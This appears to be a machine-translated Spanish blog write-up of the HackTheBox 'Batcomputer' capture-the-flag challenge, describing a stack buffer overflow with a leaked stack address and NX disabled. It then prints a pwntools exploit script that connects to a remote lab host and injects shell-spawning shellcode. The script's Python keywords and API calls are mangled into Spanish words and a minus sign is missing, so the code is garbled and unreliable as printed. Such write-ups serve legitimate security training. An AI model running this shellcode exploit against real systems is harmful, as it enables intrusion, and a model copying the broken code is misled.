Cubrimos un binario que solo tiene PIE o ejecutable independiente de posición habilitado como protección mientras NX estaba deshabilitado. Analizamos el binario con Ghidra y GDB. Descubrimos que el binario pierde la dirección de memoria de la variable utilizada para almacenar la entrada del usuario. En base a eso, también encontramos que el binario lee hasta 137 bytes de entrada del usuario y los almacena en una variable cuyo tamaño de búfer es de 76 bytes, que es la vulnerabilidad principal de esta aplicación. Causamos una falla de segmentación basada en eso y encontramos que el desplazamiento era de 84 bytes. Con base en el análisis anterior, creamos el script de explotación que lleva el parámetro de conexión y la carga útil final. Esto fue parte de HackTheBox Bat Computadora | Introducción a la explotación binaria

Notas sobre técnicas de desbordamiento de búfer

El código de explotación está debajo

##Binicio

de pwn importar *

contexto.binario = DUENDE('./batcomputadora')

estafa = remoto(‘157.245.39.76’,31662)

estafa.línea de envío(‘1’)

estafa.recvhasta('0x')

base_pila = En t((“0x”+con.recv().descodificar('latino-1').dividir()[0]),16)

registro.éxito(F'base de pila: {maleficio(base_pila)})

estafa.línea de envío(‘2’)

estafa.línea de envío('b4tp@$$w0rd!')

carga útil = ENSAMBLE(conchas.popad() + conchas.sh()) Código shell #

carga útil += b'A'*(84 len(carga útil)) # nop

carga útil += p64(base_pila) Base de pila #

estafa.línea de envío(carga útil)

estafa.línea de envío(‘3’)

estafa.interactivo()

##Final

Tutorial en vídeo

Acerca del Autor

Creo notas de ciberseguridad, notas de marketing digital y cursos online. También brindo consultoría de marketing digital que incluye, entre otros, SEO, Google y meta anuncios y administración de CRM.

Ver Artículos